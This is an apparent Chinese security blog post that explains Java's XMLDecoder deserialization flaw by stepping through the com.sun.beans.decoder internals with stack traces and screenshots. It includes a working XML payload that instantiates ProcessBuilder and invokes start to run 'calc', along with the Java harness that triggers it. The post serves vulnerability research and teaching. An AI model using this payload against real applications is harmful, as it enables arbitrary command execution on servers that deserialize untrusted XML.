警告
本文最后更新于 2020-04-13,文中内容可能已过时。
XMLDecoder解析造成的问题
XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包wls-wast
、wls9_async_response war
、_async
使用了该类进行反序列化操作,出现了了多个RCE漏洞。
本文不会讲解weblogic的xml相关的洞,只是分析下Java中xml反序列化的流程,采用JDK2U21。
SAX全称为Simple API for XML
,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:
- Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
- Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档
SAX采用事件驱动的形式来解析xml文档,简单来讲就是触发了事件就去做事件对应的回调方法。
在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:
- startDocument()
- endDocument()
- startElement()
- endElement()
- characters()
自己实现一个基于SAX的解析可以帮我们更好的理解XMLDecoder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| package com.xml.java;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;
public class DemoHandler extends DefaultHandler {
public static void main(String[] args) {
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
try {
SAXParser parser = saxParserFactory.newSAXParser();
DemoHandler dh = new DemoHandler();
String path = "src/main/resources/calc.xml";
File file = new File(path);
parser.parse(file, dh);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void characters(char[] ch, int start, int length) throws SAXException {
System.out.println("characters()");
super.characters(ch, start, length);
}
@Override
public void startDocument() throws SAXException {
System.out.println("startDocument()");
super.startDocument();
}
@Override
public void endDocument() throws SAXException {
System.out.println("endDocument()");
super.endDocument();
}
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
System.out.println("startElement()");
for (int i = 0; i < attributes.getLength(); i++) {
// getQName()是获取属性名称,
System.out.print(attributes.getQName(i) + "=\"" + attributes.getValue(i) + "\"\n");
}
super.startElement(uri, localName, qName, attributes);
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
System.out.println("endElement()");
System.out.println(uri + localName + qName);
super.endElement(uri, localName, qName);
}
}
|
输出了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| startDocument()
startElement()
characters()
startElement()
class="java.lang.ProcessBuilder"
characters()
startElement()
class="java.lang.String"
length="1"
characters()
startElement()
index="0"
characters()
startElement()
characters()
endElement()
string
characters()
endElement()
void
characters()
endElement()
array
characters()
startElement()
method="start"
endElement()
void
characters()
endElement()
object
characters()
endElement()
java
endDocument()
|
可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。那么XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。接下来我们就来分析下XMLDecoder将XML解析为对象的过程。
所有的xml处理代码均在com.sun.beans.decoder
包下。先弹一个计算器
1
2
3
4
5
6
7
8
9
10
| <java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| package com.xml.java;
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class Main {
public static void main(String[] args) {
String path = "src/main/resources/calc.xml";
File file = new File(path);
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
xmlDecoder.readObject();
xmlDecoder.close();
}
}
|
运行弹出计算器,在java.lang.ProcessBuilder#start打断点,堆栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| start:1006, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:75, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:279, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:153, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:309, DocumentHandler (com.sun.beans.decoder)
endElement:606, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1303, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2717, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:607, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:489, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:835, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:764, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:123, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1210, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:568, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:302, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:366, DocumentHandler$1 (com.sun.beans.decoder)
run:363, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$1 (java.security)
parse:363, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:21, Main (com.xml.java)
|
XMLDecoder跟进readObject()

跟进parsingComplete()

其中this.handler
为DocumentHandler

到这里进入com.sun.beans.decoder.DocumentHandler#parse

圈住的代码其实和我们写的DemoHandler
里一模一样,通过SAXParserFactory
工厂创建了实例,进而newSAXParser
拿到SAX解析器,调用parse
解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。
在DocumentHandler
的构造函数中指定了可用的标签类型

对应了com.sun.beans.decoder
包中的几个类

在startElement中首先解析java
标签,然后设置Owner和Parent。

this.getElementHandler(var3)
对应的就是从构造方法中放入this.handlers
的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。

然后解析object
标签,拿到属性之后通过addAttribute()设置属性

在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute

会通过findClass()去寻找java.lang.ProcessBuilder
类

通过classloader寻找类赋值给type

赋值完之后跳出for循环进入this.handler.startElement()
,不满足条件。

接下来解析array
标签,同样使用addAttribute对属性赋值

同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute
处理

继续抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute

接下来继续设置length属性

最后进入com.sun.beans.decoder.ArrayElementHandler#startElement

因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject()

这个getValueObject重新调用ArrayElementHandler#getValueObject
两个参数的重载方法

ValueObjectImpl.create(Array.newInstance(var1, this.length))
创建了长度为1、类型为String的数组并返回,到此处理完array标签。
接着处理void,创建VoidElementHandler,设置setOwner和setParent。

调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute
设置index属性


继续解析string标签,不再赘述。
解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement()

StringElementHandler没有endElement(),调用父类ElementHandler的endElement()

调用本类的getValueObject()
设置value为calc。
接着闭合void

闭合array

然后开始解析<void method="start"/>

通过父类的addAttribute将this.method赋值为start

随后闭合void标签

调用endElement
,VoidElementHandler
类没有,所以调用父类ObjectElementHandler.endElement

调用NewElementHandler
类无参getValueObject

然后调用VoidElementHandler
类有参getValueObject
,但是VoidElementHandler
没有这个方法,所以调用VoidElementHandler
父类ObjectElementHandler
的有参getValueObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
} else if (this.idref != null) {
return ValueObjectImpl.create(this.getVariable(this.idref));
} else {
Object var3 = this.getContextBean();
String var4;
if (this.index != null) {
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}
Expression var5 = new Expression(var3, var4, var2);
return ValueObjectImpl.create(var5.getValue());
}
}
|
跟进Object var3 = this.getContextBean()
,因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean()

继续调用NewElementHandler父类ElementHandler的getContextBean()

会调用this.parent.getValueObject()
也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法
然后将值赋值给value返回
最终var3的值为java.lang.ProcessBuilder
。

var4赋值为start

通过Expression的getValue()方法反射调用start,弹出计算器。
两者都是Java对反射的封装,举个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| package com.xml.java.beans;
public class User {
private int id;
private String name;
@Override
public String toString() {
return "User{" +
"id=" + id +
", name='" + name + '\'' +
'}';
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String sayHello(String name) {
return String.format("你好 %s!", name);
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| package com.xml.java;
import com.xml.java.beans.User;
import java.beans.Expression;
import java.beans.Statement;
public class TestMain {
public static void main(String[] args) {
testStatement();
testExpression();
}
public static void testStatement() {
try {
User user = new User();
Statement statement = new Statement(user, "setName", new Object[]{"张三"});
statement.execute();
System.out.println(user.getName());
} catch (Exception e) {
e.printStackTrace();
}
}
public static void testExpression() {
try {
User user = new User();
Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
expression.execute();
System.out.println(expression.getValue());
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
运行结果
Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。